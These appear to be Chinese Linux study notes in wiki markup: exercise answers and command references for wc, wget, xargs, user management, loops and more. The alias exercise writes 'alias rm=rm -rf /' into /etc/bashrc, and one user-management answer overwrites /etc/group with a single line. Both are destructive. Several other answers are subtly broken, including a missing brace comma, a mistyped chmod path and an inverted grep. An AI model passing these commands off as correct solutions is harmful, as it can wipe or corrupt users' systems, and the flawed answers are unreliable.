FreeBSD下的watch命令是查看其它用户的正在运行的操作,
watch允许你偷看其它terminal正在做什么,
该命令只能让超级用户享用。
```
</div>
!EXP
* <pre>

```bash

# Count the number of words (file or STDIN)
wc -w /path/to/foo.txt
cat /path/to/foo.txt | wc -w

# Count the number of lines (file or STDIN)
wc -l /path/to/foo.txt
cat /path/to/foo.txt | wc -l

# Count the number of bytes (file or STDIN)
wc -c /path/to/foo.txt
cat /path/to/foo.txt | wc -c

# Count files and directories at a given location
ls -l | wc -l

# If you ever use `wc` in a shell script and need to compare the output with an int you can
# clean the output (wc returns extra characters around the integer) by using xargs:
ls -l | wc -l | xargs

```
</pre>


! HELP 
*<pre>

[root@localhost ~]# wc --help
用法:wc [选项]... [文件]...
 或:wc [选项]... --files0-from=F
Print newline, word, and byte counts for each FILE, and a total line if
more than one FILE is specified.  With no FILE, or when FILE is -,
read standard input.  A word is a non-zero-length sequence of characters
delimited by white space.
The options below may be used to select which counts are printed, always in
the following order: newline, word, character, byte, maximum line length.
  -c, --bytes            print the byte counts
  -m, --chars            print the character counts
  -l, --lines            print the newline counts
      --files0-from=文件	从指定文件读取以NUL 终止的名称,如果该文件被
					指定为"-"则从标准输入读文件名
  -L, --max-line-length	显示最长行的长度
  -w, --words			显示单词计数
      --help		显示此帮助信息并退出
      --version		显示版本信息并退出

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
请向<http://translationproject.org/team/zh_CN.html> 报告wc 的翻译错误
要获取完整文档,请运行:info coreutils 'wc invocation'
</pre>
# 描述计算机的组成及其功能。
    ## [[计算机组成]]
# 按系列罗列Linux的发行版,并描述不同发行版之间的联系与区别。
    ## [[linux-发行版]]
# 描述Linux的哲学思想,并按照自己的理解对其进行解释性描述。
## [[linux的哲学思想]]
# 说明Linux系统上命令的使用格式;详细介绍ifconfig、echo、tty、startx、export、pwd、history、shutdown、poweroff、reboot、hwclock、date命令的使用,并配合相应的示例来阐述。
      ## [[ifconfig]]
      ## [[echo]]
      ## [[tty]]
      ## [[export]]
      ## [[pwd]]
      ## [[history]]
      ## [[shutdown]]
      ## [[poweroff]]
      ## [[reboot]]
      ## [[hwclock]]
      ## [[date]]

# 如何在Linux系统上获取命令的帮助信息,请详细列出,并描述man文档的章节是如何划分的。
     ## [[help]]

# 请罗列Linux发行版的基础目录名称命名法则及功用规定
      ## [[linux目录结构]]
* Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。
** [[cd]]
** [[cp]]
** [[mv]]
** [[rm]]
** [[rename]]
** [[mkdir]]
** [[rmdir]]
** [[tree]]

* bash的工作特性之命令执行状态返回值和命令行展开所涉及的内容及其示例演示。
* 请使用命令行展开功能来完成以下练习:
   ** 创建/tmp目录下的:a_c, a_d, b_c, b_d<pre>

```
mkdir -p /tmp/{a,b}_{c,d}
```
</pre>
   ** 创建/tmp/mylinux目录下的:<pre>

```bash
mkdir -p mylinux/{bin,boot/grub,dev,etc{rc.d/init.d,sysconfig/network-scripts},lib/modules,lib64,proc,sbin,sys,tmp,usr/local/{bin,sbin},var/{lock,log,run}}

```



```
mylinux/
    ├── bin
    ├── boot
    │   └── grub
    ├── dev
    ├── etc
    │   ├── rc.d
    │   │   └── init.d
    │   └── sysconfig
    │       └── network-scripts
    ├── lib
    │   └── modules
    ├── lib64
    ├── proc
    ├── sbin
    ├── sys
    ├── tmp
    ├── usr
    │   └── local
    │       ├── bin
    │       └── sbin
    └── var
        ├── lock
        ├── log
        └── run
```

</pre>

* 文件的元数据信息有哪些,分别表示什么含义,如何查看?如何修改文件的时间戳信息。

```

```

* 如何定义一个命令的别名,如何在命令中引用另一个命令的执行结果?<pre>

```bash
echo alias rm=rm -rf / --quite >> /etc/bashrc
```
</pre>

* 显示/var目录下所有以l开头,以一个小写字母结尾,且中间至少出现一位数字(可以有其它字符)的文件或目录。<pre>

```bash
ls  /var/l*[0-9]*[[:lower:]]
```
</pre>
* 显示/etc目录下,以任意一个数字开头,且以非数字结尾的文件或目录。<pre>

```bash
ls /etc/[0-9]*[^[:digit:]]
```
</pre>
* 显示/etc目录下,以非字母开头,后面跟了一个字母以及其它任意长度任意字符的文件或目录。<pre>

```
ll /etc/[^a-zA-Z][a-zA-Z]*
ls  /etc/[^[:alpha:]][[:alpha:]]*
```
</pre>
* 在/tmp目录下创建以tfile开头,后跟当前日期和时间的文件,文件名形如:tfile-2016-05-27-09-32-22。<pre>

```bash
touch /tmp/tfile_`date +"%Y%m%d_%H%M%S"`
```
</pre>
* 复制/etc目录下所有以p开头,以非数字结尾的文件或目录到/tmp/mytest1目录中。<pre>


```
cp /etc/p*[^0-9] /tmp/mytest1
```
</pre>
* 复制/etc目录下所有以.d结尾的文件或目录至/tmp/mytest2目录中。<pre>


```bash
cp -a /etc/*.d /tmp/mytest2
```
</pre>
* 复制/etc/目录下所有以l或m或n开头,以.conf结尾的文件至/tmp/mytest3目录中。<pre>

```bash
cp -a /etc/[m,l,n]*.conf /tmp/mytest3
```
</pre>


<<<
[[bash_Pattern_Matching]]
<<<
# 列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。<pre>

    ```bash
        who | cut -d' ' -f1 | sort -u
```
</pre>
    
# 取出最后登录到当前系统的用户的相关信息。<pre>

    ```bash
    who | cut -d' ' -f1 | tail -1 | xargs id
```
    </pre>
# 取出当前系统上被用户当作其默认shell的最多的那个shell。<pre>

    ```bash
    cat /etc/passwd | cut -d : -f7 | uniq -c | sort -n | tail -1
```
    </pre>

# 将/etc/passwd中的第三个字段数值最大的后10个用户的信息全部改为大写后保存至/tmp/maxusers.txt文件中。<pre>

    ```bash
    cat /etc/passwd | sort -t : -k 3 -n | tail -10 | tr 'a-z' 'A-Z' > /tmp/maxusers.txt 
```
    </pre>

# 取出当前主机的IP地址,提示:对ifconfig命令的结果进行切分。<pre>

    ```bash
    ifconfig eth0 |head -n2| tail -n1| tr -s ' '| cut -d ' ' -f 3
    ifconfig eth0| grep inet | egrep  -o '(\<[0-9]*\>).(\<[0-9]*\>).(\<[0-9]*\>).(\<[0-9]*\>)'|head -n1
    ifconfig eth0| grep inet | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'|head -n1
```
    </pre>

# 列出/etc目录下所有以.conf结尾的文件的文件名,并将其名字转换为大写后保存至/tmp/etc.conf文件中。<pre>

    ```bash
    ll /etc/*.conf | tr 'a-z' 'A-Z' > /tmp/etc.conf

    ls /etc/*.conf | sed 's/[[:lower:]]/\u&/g' > /tmp/etc.conf
```
    </pre>


# 显示/var目录下一级子目录或文件的总个数。<pre>

    ```bash
    [root@ALI01 var]# ls /var/*/ -bp| grep -v :| grep '[^/]$'| wc -l
    58
    [root@ALI01 var]# ls /var/*/ -bp| grep -v :| grep '/$'| wc -l
    76
```
    </pre>

# 取出/etc/group文件中第三个字段数值最小的10个组的名字。<pre>

```bash
cat /etc/group| sort -t : -k 3 -n| awk -F : '{print $1}'| head -n 10
```
</pre>
# 将/etc/fstab和/etc/issue文件的内容合并为同一个内容后保存至/tmp/etc.test文件中。<pre>

```bash
cat /etc/fstab /etc/issue > etc.test
```
</pre>

# 请总结描述用户和组管理类命令的使用方法并完成以下练习:
   ## 创建组distro,其GID为2016;<pre>
   
   ```bash
   groupadd distro -g 2016
```
   </pre>
   ## 创建用户mandriva, 其ID号为1005;基本组为distro;<pre>
   
   ```bash
   [root@ALI01 tmp]# useradd -u 1005 -g distro -m mandriva
```
   </pre>
   ## 创建用户mageia,其ID号为1100,家目录为/home/linux;<pre>
   
   ```bash
   [root@ALI01 tmp]# useradd -u 1100 -d /home/linux -m mageia
```
   </pre>
   ## 给用户mageia添加密码,密码为mageedu;<pre>
   
   ```bash
[root@ALI01 tmp]# echo mageedu |passwd --stdin mageia
Changing password for user mageia.
passwd: all authentication tokens updated successfully.
```
   </pre>
   ## 删除mandriva,但保留其家目录;<pre>
   
   ```bash
   [root@ALI01 tmp]# userdel mandriva
```
   </pre>
   ## 创建用户slackware,其ID号为2002,基本组为distro,附加组peguin;<pre>
   
   ```bash
   [root@ALI01 tmp]# groupadd peguin

    [root@ALI01 tmp]# useradd -u 2002 -g distro -G peguin -m slackware
```
   </pre>
   ## 修改slackware的默认shell为/bin/tcsh;<pre>
   
```bash
   chsh -s /bin/tcsh slackware
```
   </pre>
   ## 为用户slackware新增附加组admins;<pre>
   
   ```bash
    [root@ALI01 tmp]# groupadd admin

    [root@ALI01 tmp]# usermod -aG admin slackware
```
   </pre>
# 复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限.<pre>

```bash
cp -arv /etc/skel /home/tu01
chown tu01:tu01 /home/tu01
chmod -R g='',o='' /home/ut01
```
</pre>
# 编辑/etc/group文件,添加组hadoop。<pre>

```bash
echo hadoop:x:2001 > /etc/group
```
</pre>
# 手动编辑/etc/passwd文件新增一行,添加用户hadoop,其基本组ID为hadoop组的id号;其家目录为/home/hadoop。<pre>

```bash
echo hadoop:x:2001:2001::/home/hadoop:/sbin/nologin >> /etc/passwd
```
</pre>
# 复制/etc/skel目录为/home/hadoop,要求修改hadoop目录的属组和其它用户没有任何访问权限。<pre>

```bash
cp -arv /etc/skel /home/hadoop

chmod -R g='',o='' /home/hadoop
```
</pre>
# 修改/home/hadoop目录及其内部所有文件的属主为hadoop,属组为hadoop。<pre>

```bash
chown hadoop:hadoop /home/hadoop
```
</pre>
# 显示/proc/meminfo文件中以大写或小写S开头的行;用两种方式;<pre>

```bash
cat /proc/meminfo| grep ^[Ss].*
```
</pre>
# 显示/etc/passwd文件中其默认shell为非/sbin/nologin的用户;<pre>

```bash
grep '/sbin/nologin$' /etc/passwd 
```
</pre>
# 显示/etc/passwd文件中其默认shell为/bin/bash的用户;<pre>

```bash
grep '/bin/bash$' /etc/passwd 
```
</pre>
# 找出/etc/passwd文件中的一位数或两位数;<pre>

```bash
grep '[[:digit:]]{1,2}' /etc/passwd 
```
</pre>

# 显示/boot/grub/grub.conf中以至少一个空白字符开头的行;<pre>

```bash
egrep '^[[:space:]]' /boot/grub/grub.conf
```
</pre>

# 显示/etc/rc.d/rc.sysinit文件中以#开头,后面跟至少一个空白字符,而后又有至少一个非空白字符的行;<pre>

```bash
egrep '^#\<[[:space:]]+>/.*<[[:space:]]+>/' /etc/rc.d/rc.sysinit
```
</pre>

# 打出netstat -tan命令执行结果中以‘LISTEN’,后或跟空白字符结尾的行;<pre>

```bash
ss -tan | egrep '^LISTEN.*\ $'
```
</pre>
# 添加用户bash, testbash, basher, nologin (此一个用户的shell为/sbin/nologin),而后找出当前系统上其用户名和默认shell相同的用户的信息;<pre>

```bash
egrep '^(\<[^:]*\>).*\1$' /etc/passwd
```
</pre>
# 简述rpm与yum命令的常见选项,并举例
    ## [[rpm]]
    ## [[yum]]
# 自建yum仓库,分别为网络源和本地源
    ## [[]]
    ## [[]]
# 简述at和crontab命令,制定 每周三凌晨三、五点10分执行某个脚本,输出当前时间,时间格式为 2017-12-28 10:00:00
    ## [[at]]
    ## [[crontab]]
# 简述sed常用操作命令,并举例
    ## [[sed]]
# 简述osi七层模型和TCP/IP五层模型
   #* [[OSI]]
   #* [[TCP/IP]]
# 简述iproute家族命令
    #* [[pkg--iproute]]
# 详细说明进行管理工具htop、vmstat等相关命令,并举例 
    #* [[htop]]
    #* [[vmstat]]
# 使用until和while分别实现192.168.0.0/24网段内,地址是否能够ping通,弱ping通则输出"success!",若ping不通则输出"fail!"
   #* [[until]]<pre>

```bash
i=1
until [[ "$i" -gt 255 ]]
do
        echo $i
        ping 192.168.0.${i} -c1 -w1 &> /dev/null && echo $i "pass" || echo $i "fail"
        i=$[ i + 1 ]
done
```
</pre>
   #* [[while]]<pre>

```bash
i=1
while [[ "$i" -lt 255 ]]
do
        echo $i
        ping 192.168.0.${i} -c1 -w1 &> /dev/null && echo $i "pass" || echo $i "fail"
        i=$[ i + 1 ]
done
```
</pre>

;''wget''命令用来从指定的URL下载文件。
:wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性,如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。
:如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载。
:这对从那些限定了链接时间的服务器上下载大文件非常有用。

!!选项
:<pre>

```bash

-a<日志文件>:在指定的日志文件中记录资料的执行过程;
-A<后缀名>:指定要下载文件的后缀名,多个后缀名之间使用逗号进行分隔;
-b:进行后台的方式运行wget;
-B<连接地址>:设置参考的连接地址的基地地址;
-c:继续执行上次终端的任务;
-C<标志>:设置服务器数据块功能标志on为激活,off为关闭,默认值为on;
-d:调试模式运行指令;
-D<域名列表>:设置顺着的域名列表,域名之间用“,”分隔;
-e<指令>:作为文件“.wgetrc”中的一部分执行指定的指令;
-h:显示指令帮助信息;
-i<文件>:从指定文件获取要下载的URL地址;
-l<目录列表>:设置顺着的目录列表,多个目录用“,”分隔;
-L:仅顺着关联的连接;
-r:递归下载方式;
-nc:文件存在时,下载文件不覆盖原有文件;
-nv:下载时只显示更新和出错信息,不显示指令的详细执行过程;
-q:不显示指令执行过程;
-nh:不查询主机名称;
-v:显示详细执行过程;
-V:显示版本信息;
--passive-ftp:使用被动模式PASV连接FTP服务器;
--follow-ftp:从HTML文件中下载FTP连接文件。
```
</pre>

!!实例
:<pre>

```bash



#使用wget下载单个文件

wget http://www.linuxde.net/testfile.zip
#以下的例子是从网络下载一个文件并保存在当前目录,在下载的过程中会显示进度条,包含(下载完成百分比,已经下载的字节,当前下载速度,剩余下载时间)。

#下载并以不同的文件名保存

wget -O wordpress.zip http://www.linuxde.net/download.aspx?id=1080
#wget默认会以最后一个符合/的后面的字符来命令,对于动态链接的下载通常文件名会不正确。

#错误:下面的例子会下载一个文件并以名称download.aspx?id=1080保存:

wget http://www.linuxde.net/download?id=1
#即使下载的文件是zip格式,它仍然以download.php?id=1080命令。

#正确:为了解决这个问题,我们可以使用参数-O来指定一个文件名:

wget -O wordpress.zip http://www.linuxde.net/download.aspx?id=1080

#wget限速下载

wget --limit-rate=300k http://www.linuxde.net/testfile.zip

#当你执行wget的时候,它默认会占用全部可能的宽带下载。但是当你准备下载一个大文件,而你还需要下载其它文件时就有必要限速了。

#使用wget断点续传

wget -c http://www.linuxde.net/testfile.zip
#使用wget -c重新启动下载中断的文件,对于我们下载大文件时突然由于网络等原因中断非常有帮助,我们可以继续接着下载而不是重新下载一个文件。需要继续中断的下载时可以使用-c参数。

#使用wget后台下载

wget -b http://www.linuxde.net/testfile.zip

Continuing in background, pid 1840.
Output will be written to 'wget-log'.
#对于下载非常大的文件的时候,我们可以使用参数-b进行后台下载,你可以使用以下命令来察看下载进度:

tail -f wget-log

#伪装代理名称下载

wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16" http://www.linuxde.net/testfile.zip

#有些网站能通过根据判断代理名称不是浏览器而拒绝你的下载请求。不过你可以通过--user-agent参数伪装。

#测试下载链接

#当你打算进行定时下载,你应该在预定时间测试下载链接是否有效。我们可以增加--spider参数进行检查。

wget --spider URL
#如果下载链接正确,将会显示:

Spider mode enabled. Check if remote file exists.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Remote file exists and could contain further links,
but recursion is disabled -- not retrieving.
#这保证了下载能在预定的时间进行,但当你给错了一个链接,将会显示如下错误:

wget --spider url
Spider mode enabled. Check if remote file exists.
HTTP request sent, awaiting response... 404 Not Found
Remote file does not exist -- broken link!!!
#你可以在以下几种情况下使用--spider参数:

#定时下载之前进行检查
#间隔检测网站是否可用
#检查网站页面的死链接
#增加重试次数

wget --tries=40 URL
#如果网络有问题或下载一个大文件也有可能失败。wget默认重试20次连接下载文件。如果需要,你可以使用--tries增加重试次数。

下载多个文件

wget -i filelist.txt
#首先,保存一份下载链接文件:

cat > filelist.txt
url1
url2
url3
url4
#接着使用这个文件和参数-i下载。

#镜像网站

wget --mirror -p --convert-links -P ./LOCAL URL
#下载整个网站到本地。

#--miror开户镜像下载。
#-p下载所有为了html页面显示正常的文件。
#--convert-links下载后,转换成本地的链接。
#-P ./LOCAL保存所有文件和目录到本地指定目录。
#过滤指定格式下载

wget --reject=gif ur
#下载一个网站,但你不希望下载图片,可以使用这条命令。

#把下载信息存入日志文件

wget -o download.log URL
#不希望下载信息直接显示在终端而是在一个日志文件,可以使用。

#限制总下载文件大小

wget -Q5m -i filelist.txt
#当你想要下载的文件超过5M而退出下载,你可以使用。注意:这个参数对单个文件下载不起作用,只能递归下载时才有效。

#下载指定格式文件

wget -r -A.pdf url
#可以在以下情况使用该功能:

# 下载一个网站的所有图片。
# 下载一个网站的所有视频。
# 下载一个网站的所有PDF文件。

# FTP下载

wget ftp-url
wget --ftp-user=USERNAME --ftp-password=PASSWORD url
#可以使用wget来完成ftp链接的下载。

#使用wget匿名ftp下载:

wget ftp-url
#使用wget用户名和密码认证的ftp下载:

wget --ftp-user=USERNAME --ftp-password=PASSWORD url

```
</pre>
* [[whatis]] <pre>

```bash
#centos6
#init whatis database
makewhatis

#centos7
~~makedb~~
mandb
```
</pre>

```
Usage: /usr/bin/which [options] [--] COMMAND [...]
Write the full path of COMMAND(s) to standard output.

  --version, -[vV] Print version and exit successfully.
  --help,          Print this help and exit successfully.
  --skip-dot       Skip directories in PATH that start with a dot.
  --skip-tilde     Skip directories in PATH that start with a tilde.
  --show-dot       Don't expand a dot to current directory in output.
  --show-tilde     Output a tilde for HOME directory for non-root.
  --tty-only       Stop processing options on the right if not on tty.
  --all, -a        Print all matches in PATH, not just the first
  --read-alias, -i Read list of aliases from stdin.
  --skip-alias     Ignore option --read-alias; don't read stdin.
  --read-functions Read shell functions from stdin.
  --skip-functions Ignore option --read-functions; don't read stdin.

Recommended use is to write the output of (alias; declare -f) to standard
input, so that which can show aliases and shell functions. See which(1) for
examples.

If the options --read-alias and/or --read-functions are specified then the
output can be a full alias or function definition, optionally followed by
the full path of each command used inside of those.

Report bugs to <which-bugs@gnu.org>.
```
;从文件读取
:<pre>

```bash
while read line;do
"循环体"
done < "文本路径"
```
</pre>

;计数器控制的while循环
:<pre>

```bash
#!/bin/bash
 
sum=0
 
i=1
 
while(( i <= 100 ))
do
     let "sum+=i"
     let "i += 2"   
done
 
echo "sum=$sum"

```
</pre>

;结束标记控制
:<pre>

```bash
#!/bin/bash
 
echo "Please input the num(1-10) "
read num
 
while [[ "$num" != 4 ]]
do 
   if [ "$num" -lt 4 ]
   then
        echo "Too small. Try again!"
        read num
   elif [ "$num" -gt 4 ]
   then
         echo "To high. Try again" 
         read num
   else
       exit 0
    fi
done 
 
echo "Congratulation, you are right! "

```
</pre>

;标记控制
:<pre>

```bash
#!/bin/bash
 
echo "Please input the num "
read num
 
sum=0
i=1
 
signal=0
 
while [[ "$signal" -ne 1 ]]
do
    if [ "$i" -eq "$num" ]
    then 
       let "signal=1"
       let "sum+=i"
       echo "1+2+...+$num=$sum"
    else
       let "sum=sum+i"
       let "i++"
    fi
done

```
</pre>

;命令行控制
:<pre>

```bash

#!/bin/bash
 
echo "number of arguments is $#"
 
echo "What you input is: "
 
while [[ "$*" != "" ]]
do
    echo "$1"
    shift
done

```

```bash
while sleep 10;do
{"循环体"}
done
```
</pre>
```bash
#!/bin/bash
#------------------------------------
# FileName:     tp.sh
# Revision:     0.1
# Language:     bash
# Author:       liming.wei
# Date:         2018-12-18
# Description:获取UID小于10的用户和其UID
# website:      linux.oh-mydoc.cn
#------------------------------------

IFS=:

function f0(){
  awk -F ":" '$3<10 {print $1,$3}' /etc/passwd
}
function f0.1(){
  cat /etc/passwd | awk 'BEGIN {FS=":"} $3 < 10 {print $1 "\t " $3}'
}

function f1(){
  cat /etc/passwd|while read uname pw uid gid con home shell;do
    if test ${uid} -lt 10 ;then
      echo ${uname} ${uid}
    fi
  done
}
function f2(){
  while read uname pw uid gid con home shell;do
    if test ${uid} -lt 10 ;then
      echo ${uname} ${uid}
    fi
  done < /etc/passwd
}
function f3(){

  for i in {1..10};do
    id $i 2> /dev/null
  done
}

```
```
Usage: who [OPTION]... [ FILE | ARG1 ARG2 ]
Print information about users who are currently logged in.

  -a, --all         same as -b -d --login -p -r -t -T -u
  -b, --boot        time of last system boot
  -d, --dead        print dead processes
  -H, --heading     print line of column headings
  -l, --login       print system login processes
      --lookup      attempt to canonicalize hostnames via DNS
  -m                only hostname and user associated with stdin
  -p, --process     print active processes spawned by init
  -q, --count       all login names and number of users logged on
  -r, --runlevel    print current runlevel
  -s, --short       print only name, line, and time (default)
  -t, --time        print last system clock change
  -T, -w, --mesg    add user's message status as +, - or ?
  -u, --users       list users logged in
      --message     same as -T
      --writable    same as -T
      --help     display this help and exit
      --version  output version information and exit

If FILE is not specified, use /var/run/utmp.  /var/log/wtmp as FILE is common.
If ARG1 ARG2 given, -m presumed: 'am i' or 'mom likes' are usual.

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
For complete documentation, run: info coreutils 'who invocation'

```


```
-H或--heading:显示各栏位的标题信息列;
-i或-u或--idle:显示闲置时间,若该用户在前一分钟之内有进行任何动作,将标示成"."号,如果该用户已超过24小时没有任何动作,则标示出"old"字符串;
-m:此参数的效果和指定"am i"字符串相同;
-q或--count:只显示登入系统的帐号名称和总人数;
-s:此参数将忽略不予处理,仅负责解决who指令其他版本的兼容性问题;
-w或-T或--mesg或--message或--writable:显示用户的信息状态栏;
--help:在线帮助;
--version:显示版本信息。
```


```bash
# who

# Display who is logged in and related data (processes, boot time).

# Display the username, line, and time of all currently logged-in sessions:
  who

# Display information only for the current terminal session:
  who am i

# Display all available information:
  who -a

# Display all available information with table headers:
  who -a -H
```

```bash
[root@qs02 ~]# who mom like
root     pts/3        2018-08-18 10:38 (101.90.127.138)
[root@qs02 ~]# su - wiki
Last login: Thu Aug 16 23:22:26 CST 2018 on pts/3
[wiki@qs02 ~]$ who mon like
root     pts/3        2018-08-18 10:38 (101.90.127.138)
```
```
20.3 'whoami': Print effective user ID
======================================

'whoami' prints the user name associated with the current effective user
ID.  It is equivalent to the command 'id -un'.

   The only options are '--help' and '--version'.  *Note Common
options::.

   An exit status of zero indicates success, and a nonzero value
indicates failure
```


```
Usage: whoami [OPTION]...
Print the user name associated with the current effective user ID.
Same as id -un.

      --help     display this help and exit
      --version  output version information and exit

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
For complete documentation, run: info coreutils 'whoami invocation'
```
!!01. 杀死进程
:<div>

```bash
taskkill /im "QQ.exe"
taskkill /f /fi "IMAGENAME eq QQ.exe"
wmic process where name="qq.exe" call terminate 
ntsd -c q -p ${pid}
```
</div>

!! 02. 搜索进程

:<div>

```bash
tasklist | findstr "qq.exe"
```
</div>
! 简介
:<div>

```
write命令用于向指定登录用户终端上发送信息。通过write命令可传递信息给另一位登入系统的用户,当输入完毕后,键入EOF表示信息结束,write命令就会将信息传给对方。如果接收信息的用户不只登入本地主机一次,你可以指定接收信息的终端机编号。
```
</div>


! 实例
:<div>

```bash

#传信息给Rollaend,此时Rollaend只有一个连线 : 

write Rollaend
#接下来就是将信息打上去,结束请Ctrl+C:

#传信息给Rollaend、Rollaend的连线有pts/2、pts/3:

write Rollaend pts/2
#接下来就是将信息打上去,结束请Ctrl+C:

#若对方设定mesg n,则此时信息将无法传给对方。
```
</div>
!! help

: <div>

`对 Windows 上的 Linux 子系统进行操作管理`

;用途:

```bash
    /l, /list [/all]
        #列出已注册的分发版。
        /all - #有选择地列出所有分发版,包括
               #当前正在安装或卸载的分发版。

    /s, /setdefault <DistributionName>
        #将该分发版设为默认。

    /t, /terminate <DistributionName>
        #终止分发。

    /u, /unregister <DistributionName>
        #取消分发版注册。

    /upgrade <DistributionName>
        #将分发版升级至 WslFs 文件系统格式。
```
</div>
!!简介
:<div>
xargs
===

给其他命令传递参数的一个过滤器

</div>

!! 补充说明

:<div>


"xargs 命令" 是给其他命令传递参数的一个过滤器,也是组合多个命令的一个工具。它擅长将标准输入数据转换成命令行参数,xargs 能够处理管道或者 stdin 并将其转换成特定命令的命令参数。xargs 也可以将单行或多行文本输入转换为其他格式,例如多行变单行,单行变多行。xargs 的默认命令是 echo,空格是默认定界符。这意味着通过管道传递给 xargs 的输入将会包含换行和空白,不过通过 xargs 的处理,换行和空白将被空格取代。xargs 是构建单行命令的重要组件之一。

</div>

!! xargs 命令用法

:<div>


xargs 用作替换工具,读取输入数据重新格式化后输出。

定义一个测试文件,内有多行文本数据:

```
cat test.txt

a b c d e f g
h i j k l m n
o p q
r s t
u v w x y z

```

多行输入单行输出:

```
cat test.txt | xargs

a b c d e f g h i j k l m n o p q r s t u v w x y z
```

</div>

!!# 使用 -n 进行多行输出

:<div>

"-n 选项" 多行输出:

```
cat test.txt | xargs -n3

a b c
d e f
g h i
j k l
m n o
p q r
s t u
v w x
y z
```

</div>

!!# 使用 -d 分割输入

:<div>

"-d 选项" 可以自定义一个定界符:

```
echo "nameXnameXnameXname" | xargs -dX

name name name name
```

结合 "-n 选项" 使用:

```
echo "nameXnameXnameXname" | xargs -dX -n2

name name
name name
```

</div>

!!# 读取 stdin

:<div>

"读取 stdin,将格式化后的参数传递给命令"

假设一个命令为 sk.sh 和一个保存参数的文件 arg.txt:

```
#!/bin/bash
#sk.sh 命令内容,打印出所有参数。

echo $*

```

arg.txt 文件内容:

```
cat arg.txt

aaa
bbb
ccc

```

</div>

!!# 结合 -I 选项

:<div>

xargs 的一个 "选项 -I" ,使用 -I 指定一个替换字符串{},这个字符串在 xargs 扩展时会被替换掉,当 -I 与 xargs 结合使用,每一个参数命令都会被执行一次:

```
cat arg.txt | xargs -I {} ./sk.sh -p {} -l

-p aaa -l
-p bbb -l
-p ccc -l

```

复制所有图片文件到 /data/images 目录下:

```
ls *.jpg | xargs -n1 -I cp {} /data/images
```

</div>

!!# 结合 find 命令使用

:<div>

"xargs 结合 find 使用"

用 rm 删除太多的文件时候,可能得到一个错误信息:`/bin/rm Argument list too long`. 用 `xargs` 去避免这个问题:

```
find . -type f -name "*.log" -print0 | xargs -0 rm -f
```

xargs -0 将 `\0` 作为定界符。

统计一个源代码目录中所有 php 文件的行数:

```
find . -type f -name "*.php" -print0 | xargs -0 wc -l
```

查找所有的 jpg 文件,并且压缩它们:

```
find . -type f -name "*.jpg" -print | xargs tar -czvf images.tar.gz

```

</div>

!!# 打印出执行的命令

:<div>

结合 `-t` 选项可以打印出 `xargs` 执行的命令

    ls | xargs -t -I{} echo {}

会输出当前目录下的文件列表和执行的 echo 命令

</div>

!!# 使用 -p 选项确认执行的命令

:<div>

`-p` 选项会在执行每一个命令时弹出确认,当你需要非常准确的确认每一次操作时可以使用 `-p` 参数,比如,查找当前目录下 `.log` 文件,每一次删除都需要确认:

    find . -maxdepth 1 -name "*.log" | xargs -p -I{} rm {}

</div>

!!# 执行多个命令

:<div>

使用 `-I` 选项可以让 `xargs` 执行多个命令

    cat foo.txt
    one
    two
    three

    cat foo.txt | xargs -I % sh -c 'echo %; mkdir %'
    one
    two
    three

    ls
    one two three


</div>

!!# 其他应用

:<div>

"xargs 其他应用"

假如你有一个文件包含了很多你希望下载的 URL,你能够使用 xargs 下载所有链接:

```
cat url-list.txt | xargs wget -c
```

</div>

!! 子 Shell(Subshells)

:<div>


运行一个 shell 脚本时会启动另一个命令解释器.,就好像你的命令是在命令行提示下被解释的一样,类似于批处理文件里的一系列命令。每个 shell 脚本有效地运行在父 shell(parent shell) 的一个子进程里。这个父 shell 是指在一个控制终端或在一个 xterm 窗口中给你命令指示符的进程。

```
cmd1 | ( cmd2; cmd3; cmd4 ) | cmd5
```

如果 cmd2 是 cd /,那么就会改变子 Shell 的工作目录,这种改变只是局限于子 shell 内部,cmd5 则完全不知道工作目录发生的变化。子 shell 是嵌在圆括号 () 内部的命令序列,子 Shell 内部定义的变量为局部变量。

子 shell 可用于为一组命令设定临时的环境变量:

```
COMMAND1
COMMAND2
COMMAND3
(
  IFS=:
  PATH=/bin
  unset TERMINFO
  set -C
  shift 5
  COMMAND4
  COMMAND5
  exit 3 # 只是从子 shell 退出。
)
# 父 shell 不受影响,变量值没有更改。
COMMAND6
COMMAND7
```

</div>

!! reference

:<div>


- <https://shapeshed.com/unix-xargs/>

<!-- Linux 命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
xauth
===

显示和编辑被用于连接X服务器的认证信息

</div>

!! 补充说明

:<div>


"xauth命令" 用于显示和编辑被用于连接X服务器的认证信息。

</div>

!! 语法  

:<div>


```
xauth(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-f:不使用默认的认证文件,而使用指定的认证文件;
-q:安静模式,不打印未请求的状态信息;
-v:详细模式,打印指定的各种操作信息;
-i:忽略认证文件锁定;
-b:执行任何操作,终端认证文件锁定。
```

</div>

!! 参数  

:<div>


*   add:添加认证条目到认证文件中;
*   extract:将指定的设备内容加入到指定的密码文件中;
*   info:显示授权文件相关信息;
*   exit:退出交互模式;
*   list:列出给定的显示设备的内容;
*   merge:合并多个授权文件内容;
*   extract:将指定设备内容写入指定的授权文件;
*   nextrct:将指定设备内容写入指定的授权文件;
*   nmerge:合并多个授权文件内容;
*   remove:删除指定显示设备的授权条目;
*   source:从指定文件读取包含xauth的内容指令。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!简介 
:<div>

```

```
</div>

!/etc/init/xbmc-preload.conf 
:<div>

```bash
description "xbmc-preload"

start on started xbian-run and filesystem
stop on xbmc-failed-start

emits xbmc-rc

env CONFIG=/etc/default/xbmc

pre-start script

        for f in $(ls /home/xbian/run_on_reboot/* 2> /dev/null); do
            "$f" && rm -f "$f" || :
        done

